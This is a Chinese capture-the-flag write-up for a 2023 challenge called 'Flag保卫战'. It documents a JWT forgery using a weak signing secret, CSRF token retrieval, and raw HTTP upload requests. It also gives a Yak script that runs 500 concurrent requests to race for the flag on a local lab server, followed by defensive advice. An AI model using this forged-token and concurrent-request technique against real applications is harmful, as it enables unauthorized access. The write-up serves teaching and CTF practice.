极客大挑战Flag 保卫战题目WP
字数 871 2025-08-18 11:36:48
JWT越权与并发请求攻击实战教学
题目概述
题目名称:Flag保卫战
Flag值:SYC{75ec9b17-2284-447f-9faa-babccc8f159c}
源码位置:https://github.com/yaklang/yaklang/tree/geek2023
核心考点:JWT越权、并发请求、脚本编写能力
初始发现
-
登录页面分析:
- 访问靶场地址发现登录页面
- 查看网页源码发现访客密码:
123456 - 发现API接口:
/flag?pass=
-
初步尝试:
- 使用任意用户名(如"a")和访客密码
123456登录 - 后台提示存在管理员用户
- 获取flag的密码是"四个文件内容相连"
- 使用任意用户名(如"a")和访客密码
漏洞分析
-
JWT越权漏洞:
- 上传文件时发现使用JWT进行鉴权
- 解析JWT发现使用弱密码
- 用户"a"的JWT可以被伪造为管理员"admin"
-
CSRF防护绕过:
- 发现
yak-token上传字段 - 前端JS显示有
new-csrf-token接口 - 每次上传文件前会获取新的csrf-token
- 发现
-
文件上传机制:
- 文件名格式为
用户名-随机值 - 需要爆破碰撞出
管理员-随机值的文件
- 文件名格式为
攻击步骤
1. JWT伪造
解析原始JWT并修改为管理员权限:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg
2. CSRF Token获取
GET请求获取新token:
GET /new-csrf-token HTTP/1.1
Host: 127.0.0.1:8089
Cookie: jwt-token=[伪造的管理员JWT]
3. 文件上传
POST请求上传文件:
POST /upload HTTP/1.1
Host: 127.0.0.1:8089
Cookie: jwt-token=[伪造的管理员JWT]; yak_csrf=[获取的CSRF_TOKEN]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIDPlMGmz86uvgyNM
------WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Disposition: form-data; name="filename"; filename="1.zip"
Content-Type: text/aa
1
------WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Disposition: form-data; name="yak-token"
[获取的CSRF_TOKEN]
------WebKitFormBoundaryIDPlMGmz86uvgyNM--
4. Flag获取
尝试访问flag接口:
GET /flag?pass=1111 HTTP/1.1
Host: 127.0.0.1:8089
自动化攻击脚本(Yak语言)
// 获取CSRF Token
getToken = func() {
raw = `GET /new-csrf-token HTTP/1.1
Host: 127.0.0.1:8089
Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg`
rsp, _ = poc.HTTP(raw, poc.https(false))~
cookie = poc.GetHTTPPacketCookie(rsp, "yak_csrf")
_, body = poc.Split(rsp)
return cookie, string(body)
}
// 文件上传
postUpload = func(cookie, token) {
raw2 = f`POST /upload HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg; yak_csrf=${cookie}; Expires="Fri%2C+08+Sep+2023+13%3A19%3A34+GMT"; Max-Age=10; HttpOnly=; SameSite=Lax
Accept: */*
Referer: http://192.168.124.14:8089/upload
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6
X-Requested-With: XMLHttpRequest
Origin: http://192.168.124.14:8089
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Length: 385
------WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Disposition: form-data; name="filename"; filename="1.zip"
Content-Type: text/aa
1
------WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Disposition: form-data; name="yak-token"
${token}
------WebKitFormBoundaryIDPlMGmz86uvgyNM--`
poc.HTTP(raw2, poc.https(false))~
}
// 获取Flag
getFlag = func() {
raw = `GET /flag?pass=1111 HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
poc.HTTP(raw, poc.https(false))~
}
// 并发执行
synWg = sync.NewSizedWaitGroup(20)
for i = 0; i < 500; i++ {
synWg.Add()
go fn {
defer synWg.Done()
cookie, token = getToken()
postUpload(cookie, token)
getFlag()
}
}
synWg.Wait()
关键点总结
-
JWT安全:
- 避免使用弱密钥
- 对JWT进行签名验证
- 不要将敏感信息存储在JWT中
-
CSRF防护:
- 确保CSRF token不可预测
- 绑定用户会话
- 设置合理的过期时间
-
文件上传安全:
- 限制上传文件类型
- 不要使用可预测的文件名
- 隔离不同用户的文件存储
-
并发攻击防护:
- 实施请求频率限制
- 对敏感操作增加验证步骤
- 监控异常请求模式
防御建议
- 使用强密码和安全的JWT签名算法
- 实现完善的CSRF防护机制
- 文件上传功能应严格验证用户权限
- 对敏感接口实施速率限制
- 定期清理临时文件
- 实施完善的日志记录和监控